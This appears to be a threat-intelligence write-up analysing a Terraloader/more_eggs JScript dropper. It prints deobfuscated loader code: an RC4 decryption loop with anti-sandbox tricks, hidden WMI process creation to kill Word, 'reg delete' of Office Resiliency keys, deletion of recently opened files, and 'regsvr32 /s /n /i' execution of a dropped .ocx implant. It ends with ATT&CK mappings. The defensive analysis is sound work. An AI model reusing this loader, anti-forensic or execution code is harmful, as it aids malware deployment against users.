CyberThreatIntel/Additional Analysis/Terraloader/2020-04-12/Analysis.md
2020-04-12 22:22:53 +02:00

14 KiB

Easter's time : Hunting for get more_eggs

Table of Contents

Malware analysis

The first layer rest the same just the parameters and the structure of the switch of the anti-sandbox method are differents.
 var seq = [53,52,53,49,48,56,51,55,66,56,68,51,65,51,66,53,50,67,50,70,49,54,56,55,49,56,67,67,66,66,68,67,52,67,50,56,48,67,50,56,70,51,52,53,66,53,53,65,54,56,67,70,51];
  var base_rc4_array = [0,152,60,221,140,160,139,240,36,106,223,225,185,196,254,43,113,54,238,79,235,22,152,106,193,78,229,233,238,184,185,67,137,71,157,14,35,183,15,105,84,184,176,219,21,228,205,195,167,232,9,170,6];
  var jump = 0;
  var l = "";
  var lim = 0;
  var t1 = [];
  var tabex = [120,98,74,83,111,102,97,82,110,121,84,105,69,76] ;
  var index = 14;
  var i = 0;
  var checksum;
  // do while 
   do {
    l = (i + "");
    c = l.length;
    if (c === 1) {tabex[index] = filter(i);} 
    else {
    t1 = split_tab(l);
    tabex[index] = filter(t1[0]);
    switch (lim) {
      case 2:
        tabex[index + 1] = filter(t1[1]);
        break;
      case 3:
        tabex[index + 1] = filter(t1[1]);
        tabex[index + 2] = filter(t1[2]);
        break;
      case 4:
        tabex[index + 1] = filter(t1[1]);
        tabex[index + 2] = filter(t1[2]);
        tabex[index + 3] = filter(t1[3]);
        break;
      case 5:
        tabex[index + 1] = filter(t1[1]);
        tabex[index + 2] = filter(t1[2]);
        tabex[index + 3] = filter(t1[3]);
        tabex[index + 4] = filter(t1[4]);
        break;
    }
    }
  checksum = rc4_gen_xor(base_rc4_array, tabex, lim + index);
    if (check(checksum, seq) === true) {jump = 670;} // if the sequence is correct -> jump
    i = i + 1;
  } while (jump === 0);
  seq = 0;
  base_rc4_array = 0;
  i = 0;
  offset_tab = lim + index;
  if (jump === 670) { // execute payload
By debugging, we can get the parameters used for decrypt the obfuscated data.
Variable Value
tabex 120,98,74,83,111,102,97,82,110,121,84,105,69,76,53,57,55
index 14
lim 3
i 598
offset_tab 17
The main differences with the last analysis are on the main function, we can already observe that use this time non-instantiated variables instead of variables used on the first layer on the previous analysis.
 // Variables used as breakpoint
    ygahzfm0731 = "reg delete ";
    ygahzfm64 = "HKCU\\Software\\Microsoft\\Office\\";
    ygahzfm354 = ".0\\Word\\";
    ygahzfm6906 = "Resiliency /f";
    ygahzfm619 = "File MRU\\Item 1";

// Push breakpoint after used
    ygahzfm64 = 0;
    ygahzfm354 = 0;
    ygahzfm6906 = 0;
    ygahzfm619 = 0;
    ygahzfm0731 = 0;

try 
{
    if (ygahzfm555 && ygahzfm81 && ygahzfm3282 && ygahzfm4066 && ygahzfm0731 && ygahzfm64 && ygahzfm354 && ygahzfm6906 && ygahzfm619 && ygahzfm28 && ygahzfm822){main();}
}
catch (e){var ygahzfm03 = 0;}

The second operation anti-sandbox rest the same (sandbox don't properly handle exceptions.)
function main() 
{
    try 
    {
        ygahzfm2351.ygahzfm5433; // Kill switch
        return true;
    }  
    catch(e) {exec_pay();}
}
We can see on the first bloc of the function, the preparation settings for the rest of the operation and send a kill signal to an eventual running word instance which avoids to perform the operations on the next block.
function exec_pay()
{
    var ActXobj1;
    var ActXobj2;
    var path_appdata = "";
    var arg = "";
    try 
    {
        ActXobj1 = get_actxobj("WScript.Shell");
        ActXobj2 = ActXobj1.environment("PROCESS");
        path_appdata = ActXobj2(path_appdata + "\\Microsoft\\");
    } catch (e) {path_appdata = "";}
    var excepvalue;
    try 
    {
        var wmiObj1 = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2");
        var StartInfos1 = wmiObj1.Get("Win32_ProcessStartup").SpawnInstance_();
        StartInfos1.ShowWindow = 0;
        var Id;
        var process1 = wmiObj1.Get("Win32_Process");
        var Inst1 = process1.Methods_("Create").inParameters.SpawnInstance_();
        Inst1.Properties_.Item("CommandLine").Value = "taskkill /F /IM winword.exe"
        Inst1.Properties_.Item("ProcessStartupInformation").Value = StartInfos1;
        var process2 = wmiObj1.ExecMethod("Win32_Process","Create");
        if (process2.ReturnValue !== 0) {ygahzfm8153;}
        Id = process2.ProcessId;
        var Notif = wmiObj1.ExecNotificationQuery("Select * From __InstanceDeletionEvent Within 1 Where TargetInstance ISA 'Win32_Process'");
        var event;
        while (true) 
        {
            event = Notif.nextEvent();
            if (event.TargetInstance.ProcessID == Id){break;}
        }
    } 
    catch (e) 
    {
        try {ActXobj1.Run("taskkill /F /IM winword.exe", 0, 1);} 
        catch (e) {excepvalue = 691;}
    }
    
    ygahzfm28 = 0;
    var OfficeVersion = 11;
    var key;
    var datakey;
    var Namekey;
    // Variables used as breakpoint
    ygahzfm0731 = "reg delete ";
    ygahzfm64 = "HKCU\\Software\\Microsoft\\Office\\";
    ygahzfm354 = ".0\\Word\\";
    ygahzfm6906 = "Resiliency /f";
    ygahzfm619 = "File MRU\\Item 1";
The second performs a loop for getting the path of the last element open with word software and delete resiliency keys as anti-forensic. Once done, this uses the last element if the list of the recent files isn't empty in deleting the last element too or write and show an empty page (doc file). The attacker doesn't check the number of executions and deletes uniquely the last element if recent files have been opened or show empty file generated.
    while (OfficeVersion <= 16) 
    {
        if (OfficeVersion !== 13) 
        {
            try 
            {
                key = ActXobj1.RegRead("HKCU\\Software\\Microsoft\\Office\\" + OfficeVersion + ".0\\Word\\File MRU\\Item 1"); // key last element open in word
                if (key) 
                {
                    try 
                    {
                        var wmiObj2 = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2");
                        var StartInfos2 = wmiObj2.Get("Win32_ProcessStartup").SpawnInstance_();
                        StartInfos2.ShowWindow = 0;
                        var process2 = wmiObj2.Get("Win32_Process").Create("reg delete HKCU\\Software\\Microsoft\\Office\\" + OfficeVersion + ".0\\Word\\Resiliency /f", null, StartInfos2, 0);
                        if (process2 !== 0) {ygahzfm6217;}
                    }
                    catch (e) 
                    {
                        try {ActXobj1.Run("reg delete HKCU\\Software\\Microsoft\\Office\\" + OfficeVersion + ".0\\Word\\Resiliency /f", 0, 1); } 
                        catch (e) {excepvalue = 953;}
                    }
                    datakey = key.split("*");
                    if (get_length(datakey) === 2) 
                    {
                        PathLastElement = datakey[1];
                        OfficeVersion = 23; // Stop loop 
                    }
                }
            }
            catch (e) {excepvalue = 168;}
        }
        OfficeVersion = OfficeVersion + 1;
        }
    OfficeVersion = 0;
    key = 0;
    datakey = 0;
    // Push breakpoint
    ygahzfm64 = 0;
    ygahzfm354 = 0;
    ygahzfm6906 = 0;
    ygahzfm619 = 0;
    ygahzfm0731 =0;
    if (PathLastElement) 
        {
            try 
            {
                var ScriptingObj1 = get_actxobj("Scripting.FileSystemObject");
                if (ScriptingObj1.FileExists(PathLastElement)) {ScriptingObj1.DeleteFile(PathLastElement);}
            }
            catch(e) {excepvalue = 421;}
            ygahzfm822 = 0;
            ScriptingObj1 = 0;
        } 
    else {PathLastElement = path_appdata + get_random_num() + ".doc";}
    if (write_obj(ygahzfm3282, PathLastElement, ygahzfm555, ygahzfm81, 0) === 1)
    {

        var PathDoc = '"' + PathLastElement + '"';
        var ControlValue = 0;
        try 
        {
            var wmiObj3 = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2");
            var StartInfos3 = wmiObj3.Get("Win32_ProcessStartup").SpawnInstance_();
            StartInfos3.ShowWindow = 0;
            var OpenWord = wmiObj3.Get("Win32_Process").Create('cmd /c start "" winword.exe ' + PathDoc, null, StartInfos3, 0);
            if (OpenWord !== 0){ygahzfm564;}
        } 
        catch(e) 
        {
            try
            {
                ActXobj1.Run(PathDoc, 1, 0);
                ControlValue = 1;
            } 
            catch (e) {ControlValue = 0;}
        }
        PathDoc = 0;
    }
    ygahzfm3282 = 0;
    PathLastElement = 0;
The final block is common with the last analysis and executes the implant (ocx file).
path_appdata = path_appdata + get_random_num() + ".ocx";
  if (write_obj(ygahzfm3173, path_appdata, ygahzfm555, ygahzfm81, 1) === 1)
  {
      ygahzfm3173 = "";
      var ControlValue2 = 0;
      arg = 'regsvr32 /s /n /i "' + path_appdata + '"';
      try 
      {
          var wmiObj4 = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2");
          var retValue = wmiObj4.Get("Win32_Process").Create(arg, null, null, 0);
          if (retValue !== 0) {ygahzfm115;}
      } 
      catch (e) 
      {
          try
          {
              ActXobj1.Run(arg, 1, 0);
              ControlValue2 = 1;
          } 
          catch (e) {ControlValue2 = 0;}
      }
  }
}
We can resume the differences between the both versions :
Like the last analysis, the coding level isn't unique and some parts of the code seems be copied from another work due to differents ways to designing the algorithms and logic of code execution are not the same.
We can also observe that the structure used in the payloads are the same, we can note that the group only add anti-forensic and slightly modify the algorithms as new features (with some wrong logic of implementation) :
In seeing the way of like organised the code, we can thinking the technics used for created the sample :
For the random values, we have a switch with a random value for select one of type arithmetic operation for the numbers used for decrypt and anti-sandbox :
50 //number to obfuscate
50*2*8  = 800 //multiply by n even number
800 - 50 = 750 // getting new base 
//depends on the operation choosen
750/50 = 15 -> [750/15] = 50 //obfucated
-> [-750 + 800 ] //obfucated

So we can note differents marks must be on the both templates ( layer 1 & 2 ) :
  • Numbers for algorithms
  • Sensitives strings
  • Unique name of variable
  • On a common familly names of variable
  • Obfuscated payloads
For the name of the string, a common base is created for all variables, just an identification of the variable. This content at least 5-7 letters as base and a random value.
We can resume like the following schema :

Cyber kill chain

This process graph represent the cyber kill chain used by the attacker.

Indicators Of Compromise (IOC)

The IOC can be exported in JSON and CSV

References MITRE ATT&CK Matrix

Enterprise tactics Technics used Ref URL
Execution Windows Management Instrumentation
Command-Line Interface
Execution through Module Load
https://attack.mitre.org/techniques/T1047/
https://attack.mitre.org/techniques/T1059/
https://attack.mitre.org/techniques/T1129/
Persistence Registry Run Keys / Startup Folder https://attack.mitre.org/techniques/T1060/
Defense Evasion Install Root Certificate https://attack.mitre.org/techniques/T1130/
Discovery Query Registry https://attack.mitre.org/techniques/T1012/
Discovery Query Registry https://attack.mitre.org/techniques/T1012/
This can be exported as JSON format Export in JSON

Links

Original tweet:
Links Anyrun:
Articles